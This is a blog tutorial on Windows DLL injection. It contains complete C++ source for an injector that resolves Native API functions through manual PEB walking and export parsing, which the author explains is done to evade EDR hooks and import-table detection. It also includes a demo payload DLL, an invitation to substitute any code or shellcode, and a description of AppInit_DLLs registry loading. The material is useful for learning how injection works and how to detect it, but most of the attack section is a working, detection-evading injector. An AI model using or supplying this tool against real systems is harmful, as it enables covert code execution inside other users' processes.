DLL injection

20 min read
malwareWindowsprogramming

DLL injection technique using undocumented Windows Native API functions to load a custom DLL into a running process.

Featured image

What is DLL Injection

DLL injection is a programming technique that allows code, contained within a Dynamic Link Library (DLL), to be loaded and executed inside the address space of another process. This means the injected DLL can run with the same permissions and context as the target application.

Why inject?

placing code into another process often referred as process injection can be used for both good and bad, the difference lies in why it's being done and who is doing it.

On the legitimate side, many antivirus programs, security tools, and monitoring tools rely on code injection techniques to keep your system safe. For example, a security product might inject a small piece of code into every running application so it can watch what each program is doing in real time. This allows it to intercept important actions — a practice known as hooking such as when a program tries to create a new process, access sensitive data, or read/write a file, so the security tool can inspect and monitor that activity.

The reason they inject into each process instead of just a single DLL like ntdll.dll is because malicious behavior doesn’t always go through one predictable path. If they only hooked NTDLL, attackers could bypass detection by:

  • Manually mapping an unhooked version of NTDLL.
  • Making raw syscalls directly without using NTDLL.
  • Using higher-level APIs in other DLLs (kernel32.dll, user32.dll, etc.) that internally trigger the same system calls.
  • Executing malicious logic entirely in user-mode before the syscall happens.

By injecting into each process, the security tool gains:

  • Full visibility into all API calls at multiple levels (user-mode and syscall level).
  • Context, such as the call stack, loaded modules, and memory contents when an action occurs.
  • Protection against hook removal, because hooks are spread across multiple DLLs in every process.
  • Detection of in-memory threats, like shellcode in RWX memory regions that never touch disk.

Take file access as an example. In normal use, a word processor like Microsoft Word mainly reads and writes document files. If security software detects that Word is suddenly trying to access system password files or make changes to the Windows registry, that’s unusual behavior. It could indicate that a malicious macro or exploit is running inside the program. In this situation, the injected monitoring code acts like a silent security guard, positioned inside the application to watch every move and stop anything suspicious before it causes harm.

Of course, the very same mechanism can be abused by attackers. Malicious actors can inject their own code into trusted programs to hide their activity, steal data, or execute harmful commands often without being detected. This dual nature is why DLL injection is considered both a powerful development tool and a potential security threat.

How it work?

On Windows, user-mode processes are isolated from one another each process has its own private memory space that other processes normally can’t access. This isolation is a core security feature, preventing programs from tampering with each other’s memory directly.

Every process executes code through threads, and a process needs at least one running thread to do anything.

When you want to inject code or a DLL into another process, the problem is twofold:

  1. Placing the code into the target process’s memory
  2. Getting the target process to execute that code

The simplest and most common method uses Windows API functions:

  • OpenProcess – Get a handle to the target process with the required permissions.
  • VirtualAllocEx – Allocate memory inside the target process’s address space for your code or data.
  • WriteProcessMemory – Write the code (or DLL path) into that allocated memory.
  • (Optional) ReadProcessMemory – Read from the target process’s memory if needed.
  • CreateRemoteThread – Start a new thread in the target process that begins execution at your injected code’s address.

This sequence is the classic approach to process injection. There are more advanced methods (like APC injection, thread hijacking, or reflective DLL loading), but this one is the most straightforward and widely used. in our example in github we will use undocumented functions to avoid detection.

Create payload

In this step, you can inject shellcode or a DLL, but in our example, we will create a DLL that will be loaded into the target process. First, to create a custom DLL, read the official Windows documentation.

In our example, the DLL code simply shows a message box with different messages depending on the callback.

  • When the DLL is loaded into a process (DLL_PROCESS_ATTACH), it shows a message box saying "Malicious DLL Attached and Executed!!!!!!" to indicate that the DLL is now active.
  • When the DLL is unloaded from the process (DLL_PROCESS_DETACH), it shows a message box saying "Malicious DLL Detached!" signaling that the DLL is being removed.
  • When a new thread starts in the process (DLL_THREAD_ATTACH), it shows a message box "Thread Created!" indicating a thread was created while the DLL is loaded.
custom_dll.cpp
1#include "pch.h" 2#include <windows.h> 3 4BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { 5 switch (ul_reason_for_call) { 6 case DLL_PROCESS_ATTACH: 7 MessageBoxA(NULL, "Malicious DLL Attached and Executed", "WARNING", MB_ICONEXCLAMATION); 8 break; 9 case DLL_PROCESS_DETACH: 10 MessageBoxA(NULL, "Malicious DLL Detached!", "WARNING", MB_ICONEXCLAMATION); 11 break; 12 case DLL_THREAD_ATTACH: 13 MessageBoxA(NULL, "Thread Created!", "WARNING", MB_ICONEXCLAMATION); 14 break; 15 case DLL_THREAD_DETACH: 16 MessageBoxA(NULL, "Thread Terminated", "WARNING", MB_ICONEXCLAMATION); 17 break; 18 } 19 return TRUE; 20}

Code

in our example in GitHub, we used undocumented function. first we need to create function that dynamically load GetModuleHandle. this will allow us to use this function without showing in the Import Address Table (IAT). also some EDR hooks kernel32.dll Dynamic loading allows you to get the function pointer from ntdll.dll directly, or even resolve syscalls, bypassing those hooks. the function does the following:

  1. The code gets the PEB (Process Environment Block) from the segment register (GS on x64, FS on x86). The PEB contains info about all loaded modules.
  2. It goes through the linked list of loaded modules in peb->Ldr->InMemoryOrderModuleList.
  3. For each module, it converts the wide-char DLL name to ANSI, makes it lowercase, and checks if it contains the given moduleName. If found, it returns the module’s base address.

If no match is found, it returns NULL.

ManualGetModuleHandle.cpp
1// This function manually replicates the behavior of the standard `GetModuleHandle` API call. 2// It finds the base address of a loaded DLL (module) in the current process by its name. 3// It does this by directly accessing the Process Environment Block (PEB). 4HMODULE ManualGetModuleHandle(LPCSTR moduleName) { 5 // The PEB (Process Environment Block) is a data structure that holds information about a process. 6 // Its location in memory is fixed relative to a segment register. 7#ifdef _WIN64 8 // On 64-bit Windows, a pointer to the PEB is stored at offset 0x60 from the GS segment register. 9 // `__readgsqword` is a compiler intrinsic that reads a 64-bit value directly from this location. 10 PPEB peb = (PPEB)__readgsqword(0x60); 11#else 12 // On 32-bit Windows, the pointer is at offset 0x30 from the FS segment register. 13 PPEB peb = (PPEB)__readfsdword(0x30); 14#endif 15 16 // Basic sanity check. If we can't get the PEB or its Ldr member, we can't proceed. 17 if (!peb || !peb->Ldr) return NULL; 18 19 // The PEB's Ldr member points to a PEB_LDR_DATA structure, which contains information about loaded modules. 20 // `InMemoryOrderModuleList` is a doubly-linked list of all modules loaded by the process. 21 // A linked list is a data structure where each element (node) points to the next one. 22 23 // `head` points to the sentinel node of the list. This node itself doesn't represent a module. 24 LIST_ENTRY* head = &peb->Ldr->InMemoryOrderModuleList; 25 // `current` is initialized to point to the first actual module in the list. 26 LIST_ENTRY* current = head->Flink; 27 28 // We iterate through the linked list. The list is circular, meaning the last element's `Flink` 29 // (forward link) points back to the head. When `current` equals `head`, we've looped through the entire list. 30 while (current != head) { 31 // `CONTAINING_RECORD` is a clever macro. `current` is a pointer to the `InMemoryOrderLinks` field 32 // inside a `LDR_DATA_TABLE_ENTRY` struct. This macro calculates the starting address of the 33 // parent `LDR_DATA_TABLE_ENTRY` struct from the address of its member field. 34 PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(current, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); 35 36 // Check if the DLL name is valid before trying to read it. 37 if (entry->FullDllName.Buffer) { 38 // Create a buffer to hold the module name as a standard C-style string (char array). 39 char name[MAX_PATH] = { 0 }; // Initialize with zeros. 40 41 // The `FullDllName.Buffer` stores the name as a wide-character string (UTF-16). 42 // We need to convert it to a multi-byte (ANSI) string to compare it with `moduleName`. 43 WideCharToMultiByte( 44 CP_ACP, // Code Page: Use the system's default ANSI code page. 45 0, // Flags: 0 for default behavior. 46 entry->FullDllName.Buffer, // Input: The wide-character string to convert. 47 entry->FullDllName.Length / sizeof(WCHAR), // Input: The length of the string in characters. 48 name, // Output: The buffer to store the converted ANSI string. 49 sizeof(name) - 1, // Output: The size of the output buffer. 50 NULL, // Default Char: Use system default if a character can't be converted. 51 NULL // Used Default Char: We don't need to know if a default was used. 52 ); 53 54 // To make the comparison case-insensitive (e.g., "ntdll.dll" matches "NTDLL.DLL"), 55 // we convert the extracted name to lowercase. `_strlwr_s` is a safe version of `_strlwr`. 56 _strlwr_s(name, sizeof(name)); 57 58 // `strstr` checks if the `moduleName` we're looking for is a substring of the module's full path. 59 // This is a simple way to match "ntdll.dll" against "C:\Windows\System32\ntdll.dll". 60 if (strstr(name, moduleName)) { 61 // If we find a match, we return the base address of the DLL (`DllBase`). 62 // This is the `HMODULE` we were looking for. 63 return (HMODULE)entry->DllBase; 64 } 65 } 66 // Move to the next module in the linked list. 67 current = current->Flink; 68 } 69 70 // If the loop finishes without finding the module, we return NULL. 71 return NULL; 72} 73

after getting the GetModuleHandle, which allow us to get handler for a module, we need a function that take a module handler, and function name. and parse the PE header of the module and search for the function we want and return the address of the function.

Check PE headers → Make sure the DLL at hModule is valid (MZ DOS header + PE NT header)

.Find Export Directory → Use the PE header’s data directory to locate where the list of exported functions is stored

.Read Export Tables:

  • AddressOfNames → All function names.
  • AddressOfFunctions → RVAs (Relative Virtual Addresses) of the function code.
  • AddressOfNameOrdinals → Links names to function addresses.

Search for the target function name.Return its absolute address (base address + RVA).

ManualGetProcAddress.cpp
1// This function manually replicates the behavior of the standard `GetProcAddress` API call. 2// It finds the memory address of an exported function within a loaded module (DLL). 3// It works by parsing the PE (Portable Executable) file format of the DLL directly in memory. 4FARPROC ManualGetProcAddress(HMODULE hModule, LPCSTR functionName) { 5 // The `hModule` is the base address of the DLL in memory. We cast it to a pointer to an 6 // `IMAGE_DOS_HEADER`. This header is at the very beginning of every PE file. 7 IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule; 8 // The `e_magic` field should be "MZ" (0x5A4D), which is the signature for a DOS header. 9 // This is a sanity check to ensure we're looking at a valid PE file. 10 if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { 11 return NULL; 12 } 13 14 // The DOS header contains an offset, `e_lfanew`, which points to the NT headers. 15 // We calculate the address of the NT headers by adding this offset to the module's base address. 16 IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew); 17 // The NT headers also have a signature, which should be "PE\0\0" (0x00004550). 18 if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) { 19 return NULL; 20 } 21 22 // The NT headers contain an `OptionalHeader`, which in turn has a `DataDirectory`. 23 // The `DataDirectory` is an array of entries pointing to important parts of the PE file. 24 // We want the entry for the export directory (`IMAGE_DIRECTORY_ENTRY_EXPORT`). 25 IMAGE_DATA_DIRECTORY* exportDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 26 // If the virtual address or size is zero, it means this module doesn't export any functions. 27 if (exportDir->VirtualAddress == 0 || exportDir->Size == 0) { 28 return NULL; 29 } 30 31 // The `VirtualAddress` is an RVA (Relative Virtual Address), an offset from the module's base address. 32 // We calculate the actual memory address of the export directory. 33 IMAGE_EXPORT_DIRECTORY* exports = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + exportDir->VirtualAddress); 34 35 // Now we get the addresses of the three important tables in the export directory: 36 // 1. AddressOfFunctions: An array of RVAs to the exported functions' code. 37 // 2. AddressOfNames: An array of RVAs to the names of the exported functions. 38 // 3. AddressOfNameOrdinals: An array of indices that links the names table to the functions table. 39 DWORD* functions = (DWORD*)((BYTE*)hModule + exports->AddressOfFunctions); 40 DWORD* names = (DWORD*)((BYTE*)hModule + exports->AddressOfNames); 41 WORD* ordinals = (WORD*)((BYTE*)hModule + exports->AddressOfNameOrdinals); 42 43 // We loop through all the exported function names. 44 for (DWORD i = 0; i < exports->NumberOfNames; i++) { 45 // Get the RVA of the current function name and calculate its actual address in memory. 46 char* name = (char*)((BYTE*)hModule + names[i]); 47 // Compare the current function name with the one we're looking for. 48 if (strcmp(name, functionName) == 0) { 49 // If we find a match, we've found our function. 50 // `ordinals[i]` gives us the index into the `functions` array for this named function. 51 // `functions[ordinals[i]]` gives us the RVA of the function's code. 52 // We add this RVA to the module's base address to get the final, absolute memory address. 53 return (FARPROC)((BYTE*)hModule + functions[ordinals[i]]); 54 } 55 } 56 57 // If the loop finishes without finding the function, we return NULL. 58 return NULL; // Function not found 59} 60

after all that, in the main function we need the target PID, and the path of the DLL that we be injected in the target process. the main function does the following:

Check input arguments
The program expects exactly 2 arguments:

  • Target process ID (PID)
  • Full path to the DLL file to inject
    If arguments are missing or incorrect, it prints usage instructions and exits.

Parse inputs

  • Convert the PID argument from string to DWORD.
  • Store the DLL path string.

Open target process handle

  • Use a manual ManualGetProcAddress + ManualGetModuleHandle to get the address of NtOpenProcess from ntdll.dll.
  • Prepare required structures (CLIENT_ID, OBJECT_ATTRIBUTES) with the PID.
  • Call NtOpenProcess with permissions to create threads and manipulate process memory.
  • If it fails, print error and exit; otherwise keep the process handle.

Allocate memory in target process

  • Get address of NtAllocateVirtualMemory from ntdll.dll using the manual method.
  • Allocate memory in the remote process sized to hold the DLL path string.
  • If allocation fails, print error and exit.

Write DLL path to allocated memory

  • Get address of NtWriteVirtualMemory.
  • Write the DLL path string into the remote process’s allocated memory.
  • If writing fails, print error and exit.

Get address of LoadLibraryA

  • Use manual method to find LoadLibraryA in kernel32.dll.
  • LoadLibraryA will be called remotely to load the DLL into the target process.

Create remote thread

  • Get address of NtCreateThreadEx in ntdll.dll.
  • Create a remote thread in the target process that starts by running LoadLibraryA, passing the address of the DLL path in the target process memory.
  • This causes the target process to load the DLL.
  • If thread creation fails, print error and exit.

Cleanup and finish

  • Close handles for the created thread and process.
  • Print success messages and exit
main.cpp
1// The main entry point of the program. 2int main(int argc, char* argv[]) { 3 4 if (argc != 3) { 5 cerr << "Usage:\n"; 6 cerr << "\tDLL_injector.exe <PID> <PathToDLL>\n"; 7 cerr << "Example:\n"; 8 cerr << "\tDLL_injector.exe 19692 \"C:\\Users\\mohe_2004\\Desktop\\some code\\custom_dll\\x64\\Release\\custom_dll.dll\"\n"; 9 10 return 1; 11 } 12 13 14 // The Process ID (PID) of the target process we want to inject our DLL into. 15 // NOTE: You must change this to the PID of a running process on your system for this to work. 16 // You can find PIDs using Task Manager. 17 DWORD pid = static_cast<DWORD>(strtoul(argv[1], nullptr, 10)); 18 // The full, absolute path to the DLL file that we want to inject. 19 const char* dllPath = argv[2]; 20 21 // --- Step 1: Get a handle to the target process --- 22 cout << "[+] Opening target process with PID: " << pid << "\n"; 23 24 // Instead of calling `GetProcAddress`, we use our manual implementation to find `NtOpenProcess`. 25 // We first get a handle to `ntdll.dll` and then find the function's address within it. 26 pNtOpenProcess NtOpenProcess = (pNtOpenProcess)ManualGetProcAddress( 27 ManualGetModuleHandle("ntdll.dll"), // Find ntdll.dll's base address 28 "NtOpenProcess" // Find the function's address inside it 29 ); 30 31 HANDLE hprocess = NULL; // This will store the handle to the target process. 32 CLIENT_ID cid = { 0 }; // A structure required by NtOpenProcess to identify the target. 33 cid.UniqueProcess = (HANDLE)pid; // We specify the target by its Process ID. 34 cid.UniqueThread = NULL; // Not used when opening a process. 35 36 OBJECT_ATTRIBUTES objAttr; // Another structure required by many Native API functions. 37 // `InitializeObjectAttributes` is a macro that zeroes out the structure for us. 38 // We don't need any special attributes, so we pass NULLs. 39 InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); 40 41 // Call the `NtOpenProcess` function we found earlier. 42 NTSTATUS status = NtOpenProcess( 43 &hprocess, // Output: The handle will be stored here. 44 PROCESS_CREATE_THREAD | // Permissions: We need permission to create a thread. 45 PROCESS_QUERY_INFORMATION | // To query process info (often needed). 46 PROCESS_VM_OPERATION | // To perform memory operations like allocation. 47 PROCESS_VM_WRITE | // To write into the process's memory. 48 PROCESS_VM_READ, // To read from the process's memory. 49 &objAttr, // Input: The initialized object attributes. 50 &cid // Input: The client ID specifying the target PID. 51 ); 52 53 // `NTSTATUS` is a type used by Native API functions. A value of 0 means success. 54 // Any other value indicates an error. 55 if (status != 0) { 56 cerr << "[-] NtOpenProcess failed with status: 0x" << std::hex << status << std::endl; 57 return 1; // Exit the program with an error code. 58 } 59 cout << "[+] Opened process handle: " << hprocess << "\n"; 60 61 // --- Step 2: Allocate memory in the target process for the DLL path --- 62 63 // Get the address of `NtAllocateVirtualMemory` from `ntdll.dll`. 64 pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)ManualGetProcAddress( 65 ManualGetModuleHandle("ntdll.dll"), 66 "NtAllocateVirtualMemory" 67 ); 68 if (!NtAllocateVirtualMemory) { 69 cerr << "[-] Failed to resolve NtAllocateVirtualMemory\n"; 70 return 1; 71 } 72 73 cout << "[+] Allocating memory in remote process...\n"; 74 75 PVOID baseAddress = nullptr; // This will store the address of the memory we allocate. 76 // The size of memory we need is the length of the DLL path string, plus one byte for the null terminator. 77 SIZE_T size = strlen(dllPath) + 1; 78 79 // Call the allocation function. 80 NTSTATUS statusAllocation = NtAllocateVirtualMemory( 81 hprocess, // Handle to the target process. 82 &baseAddress, // Output: Receives the address of the allocated memory. 83 0, // ZeroBits: Must be 0. 84 &size, // Input/Output: The size of memory to allocate. 85 MEM_COMMIT | MEM_RESERVE, // Allocation Type: Reserve and commit the memory in one step. 86 PAGE_READWRITE // Protection: We need to be able to read and write to this memory. 87 ); 88 89 if (statusAllocation != 0) { 90 cerr << "[-] NtAllocateVirtualMemory failed with NTSTATUS: 0x" << hex << statusAllocation << endl; 91 return 1; 92 } 93 cout << "[+] Memory allocated at address: " << baseAddress << endl; 94 95 // --- Step 3: Write the DLL path into the allocated memory --- 96 cout << "[+] Writing DLL path into allocated memory...\n"; 97 98 // Get the address of `NtWriteVirtualMemory` from `ntdll.dll`. 99 pNtWriteVirtualMemory _NtWriteVirtualMemory = (pNtWriteVirtualMemory)ManualGetProcAddress( 100 ManualGetModuleHandle("ntdll.dll"), 101 "NtWriteVirtualMemory" 102 ); 103 if (!_NtWriteVirtualMemory) { 104 cerr << "[-] Failed to resolve NtWriteVirtualMemory\n"; 105 return 1; 106 } 107 108 SIZE_T bytesWritten = 0; // This will store the number of bytes that were actually written. 109 // Call the write function. 110 NTSTATUS statusWrite = _NtWriteVirtualMemory( 111 hprocess, // Handle to the target process. 112 baseAddress, // The address in the target process where we want to write. 113 (PVOID)dllPath, // A pointer to our local buffer containing the DLL path. 114 (ULONG)(strlen(dllPath) + 1), // The number of bytes to write. 115 &bytesWritten // Output: Receives the number of bytes written. 116 ); 117 118 if (statusWrite != 0) { 119 cerr << "[-] Failed to write to memory at address: " << baseAddress 120 << ". Error code: " << GetLastError() << "\n"; 121 return 1; 122 } 123 cout << "[+] Wrote DLL path to remote process memory. Wrote: " << bytesWritten << "\n"; 124 125 // --- Step 4: Get the address of the `LoadLibraryA` function --- 126 // `LoadLibraryA` is the function that can load a DLL into a process. It's located in `kernel32.dll`. 127 // The plan is to create a remote thread that starts by executing `LoadLibraryA`, and we will give it 128 // the address of our DLL path (which we just wrote into the target's memory) as its argument. 129 FARPROC LoadLibraryAddress = ManualGetProcAddress( 130 ManualGetModuleHandle("kernel32.dll"), // Find kernel32.dll 131 "LoadLibraryA" // Find the address of LoadLibraryA 132 ); 133 if (!LoadLibraryAddress) { 134 cerr << "[-] Failed to get address of LoadLibraryA. Error code: " << GetLastError() << "\n"; 135 return 1; 136 } 137 cout << "[+] Got LoadLibraryA address: " << LoadLibraryAddress << "\n"; 138 139 // --- Step 5: Create a remote thread to execute `LoadLibraryA` --- 140 cout << "[+] Creating remote thread in target process...\n"; 141 142 // Get the address of `NtCreateThreadEx` from `ntdll.dll`. 143 pNtCreateThreadEx _NtCreateThreadEx = (pNtCreateThreadEx)ManualGetProcAddress( 144 ManualGetModuleHandle("ntdll.dll"), 145 "NtCreateThreadEx" 146 ); 147 if (!_NtCreateThreadEx) { 148 cerr << "[-] Failed to resolve NtCreateThreadEx\n"; 149 return 1; 150 } 151 152 HANDLE thread = nullptr; // This will receive the handle of the newly created thread. 153 154 // Call the thread creation function. 155 NTSTATUS statusThreadCreation = _NtCreateThreadEx( 156 &thread, // Output: Receives the new thread handle. 157 0x1FFFFF, // Access Mask: A common value for "all access". 158 NULL, // Object Attributes: Use defaults. 159 hprocess, // Target Process Handle: The process to create the thread in. 160 LoadLibraryAddress, // Start Routine: The function the new thread will execute. 161 baseAddress, // Argument: The argument passed to the start routine (our DLL path). 162 FALSE, // Create Flags: 0 or FALSE means the thread runs immediately. 163 0, // ZeroBits: Not used. 164 0, // StackSize: 0 for default size. 165 0, // MaximumStackSize: 0 for default size. 166 NULL // AttributeList: Not used. 167 ); 168 169 // Check if the thread was created successfully. 170 if (statusThreadCreation != 0 || !thread) { 171 cerr << "[-] Failed to create remote thread. NTSTATUS: 0x" << hex << statusThreadCreation << std::endl; 172 return 1; 173 } 174 175 cout << "[+] Successfully created remote thread: " << thread << "\n"; 176 cout << "[+] DLL injection should be complete!" << endl; 177 178 // The program successfully completed its task. 179 CloseHandle(thread); 180 CloseHandle(hprocess); 181 182 return 0; 183}

Demo

let's test the code and targeting notepad.exe

if everything is fine, first callback should be triggered in the dll which is DLL_PROCESS_ATTACH, and it simply will show message like the following

and let's try to trigger the DLL_THREAD_ATTACH, this callback will run when process spawn a new thread, so let's open a new tab in notepad that should trigger this event

You got the idea — every action we make, the DLL will show a message. You can change the DLL code to make it run any code you want, or you can run shellcode instead of the DLL.

Other way

There are many ways to perform DLL injection. For example, instead of using LoadLibrary, we can manually map the DLL into the target process’s memory this method is called reflective DLL injection. Another method is using LoadLibrary combined with QueueUserAPC, which injects a DLL without creating new threads in the target process.

Windows also provides some built-in methods for DLL injection that are used for various legitimate purposes. One simple way is through specific registry keys:

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

On 64-bit systems, there are separate registry keys for 32-bit applications:

  • HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
  • HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

By adding a DLL filename to the AppInit_DLLs value, that DLL will automatically be loaded into every process that loads User32.dll — which includes most Windows applications. This only works if the LoadAppInit_DLLs value is set to 0x00000001.

Final thought

DLL injection can be achieved through various techniques depending on the use case and level of stealth required. While common methods like using LoadLibrary or reflective DLL injection are widely used, there are also advanced approaches such as unhooking direct syscalls, indirect syscalls, API hashing, and others that offer greater evasion from detection and hooking by security software.